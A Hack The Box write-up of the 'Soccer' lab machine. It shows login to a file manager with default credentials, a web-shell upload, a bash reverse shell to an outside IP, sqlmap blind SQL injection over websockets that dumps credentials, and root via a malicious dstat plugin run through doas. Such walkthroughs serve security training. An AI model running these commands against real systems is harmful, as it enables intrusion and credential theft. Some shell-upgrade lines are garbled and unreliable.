HTB / Linux

Hack The Box Soccer Writeup

July 07, 20236 min read
Soccer machine

In thix box the initial steps entail accessing an admin panel using default credentials, uploading a web shell for a foothold, and then conducting enumeration to uncover additional subdomains. Afterward, a distinctive attack method involves utilizing blind SQL injection via websockets to extract credentials from a MySQL database. Finally, privilege escalation to root is achieved by exploiting vulnerabilities in doas.

Enummeration

As usual we kick off by scanning by the wire.

┌──(kali㉿kali)-[~/HTB/Soccer]
└─$ sudo nmap -sC -sV -p- 10.10.11.194
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-04 13:32 EDT
Nmap scan report for 10.10.11.194
Host is up (0.093s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
...[snip]...
SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.65 seconds

The soccer.htb website is a straightforward football fan club page with news updates displayed at the bottom of the page. Alt text

After conducting directory brute-forcing on the domain, I came across a /tiny page, which leads to the H3K Tiny File Manager.

Alt text

Upon reviewing the Documentation, I discovered the default credentials, which are admin:admin@123. With these credentials, I successfully logged in.

Alt text The URL is http://soccer.htb/tiny/tinyfilemanager.php?p=, which shows that the server is running PHP.

The tiny directory has the filemanager page, as well as the uploads directory:

Alt text uploads is empty: Alt text

Initial Foothold

I’ll use the “Upload” button, and it offers a way to upload to /var/www/html/: Alt text If I navigate to /tiny/uploads and then click “Upload”, it works: Alt text

I’ll start nc listening on 443 on my host, and trigger a reverse shell by sending a bash reverse shell:

┌──(kali㉿kali)-[~/HTB/Soccer]
└─$ curl http://soccer.htb/tiny/uploads/cmd.php -d 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.16/443 0>%261"'

Both using the GUI and bash methods were hanging during this upload, but looking back on our machine, we had a reverse shell.

┌──(kali㉿kali)-[~/HTB/Soccer]
└─$  nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.194 55140
bash: cannot set terminal process group (1048): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads$ 

We can upgrade our shell with python and stty.

python3 import os; pty.spawn("bash/sh");
stty raw -echo: fg
export TERM=xterm

While enumerating I found the soc-player.htb file within nginx’s sites-available directory. Looking into it shows another subdomain I proceeded to add to my hosts file: soc-player.soccer.htb

server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }

}

This webserver is hosted out of /root/, which is interesting, and passes to localhost 3000 (as observed previously). I’ll update my hosts file:

sudo echo '10.10.11.194 soccer.htb soc-player.soccer.htb' >> /etc/hosts

Upon investigating the new subdomain, soc-player.soccer.htb appears to be a website dedicated to live broadcasts of soccer games. It specifically mentions that you receive a complimentary ticket upon signing up. Alt text

Registering grants you a ticket ID, which, when entered into the input box, confirms the existence of the ticket. Alt text Upon inspecting Burp Suite, it was observed that this page sends a WebSocket message to port 9091 on the machine. Alt text

After discovering the MySQL server running internally and examining the soc-player website, which utilizes a WebSocket to communicate with port 9091, further research led me to an article on blind SQL injection over websockets: link. Following the instructions outlined in the article, I executed the blind SQLi server and provided it with the ID obtained from soc-player using an sqlmap command. The final code, with adjustments to ensure compatibility with the machine, is as follows: Alt text

After running an sqlmap command to inspect and dump the data here is the following data I came across:

┌──(kali㉿kali)-[~/HTB/Soccer]
└─$  sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db -T accounts --dump --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
...[snip]...
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+
...[snip]...

When dealing with boolean and time-based SQL injections, it's crucial to exercise caution when extracting large amounts of data, as it can significantly slow down the process. However, considering there's only one table involved, I aim to retrieve the entire dataset. To accomplish this, I substituded --tables with "-T accounts" and include "--dump".

So after dumping our credentials I tried them on ssh and they worked, thus grabbing our user flag!

┌──(kali㉿kali)-[~/HTB/Soccer]
└─$  www-data@soccer:/home/player$ su player -
Password: 

player@soccer:~$cat user.txt
df7f36e9************************

Privilege Escalation

Onto enumeration, I found an SUID binary called doas. doas is simply a program like sudo, it allows you to run a command/program as another user.

player@soccer:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
...[snip]...

I don’t see a doas.conf file in /etc, so I’ll search the filesystem for it with find:

player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf

It has one line:

player@soccer:~$ cat /usr/local/etc/doas.conf 
permit nopass player as root cmd /usr/bin/dstat

The user "player" can run the "dstat" command as root without any requirements. Upon further reading of the "dstat" manual page, we discovered that we can upload our own plugin written in Python. The next step would be to create our own plugin that will provide us with a root shell. Looking at the list of locations, I can obviously write to ~/.dstat, but when run with doas, it’ll be running as root, and therefore won’t check /home/player/.dstat. Luckily, /usr/local/share/dstat is writable.

player@soccer:~$ echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dtstat_root.py

We can go ahead and run our shell in this case.

player@soccer:~$ doas /usr/bin/dstat --root
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
root@soccer:/home/player#

From here you can grab the flag and call it a box ;)

root@soccer:~# cat root.txt
774a30b5************************

Haappy hacking. Cheers!

SoccerHack the boxWriteupBlog

This website uses cookies 🍪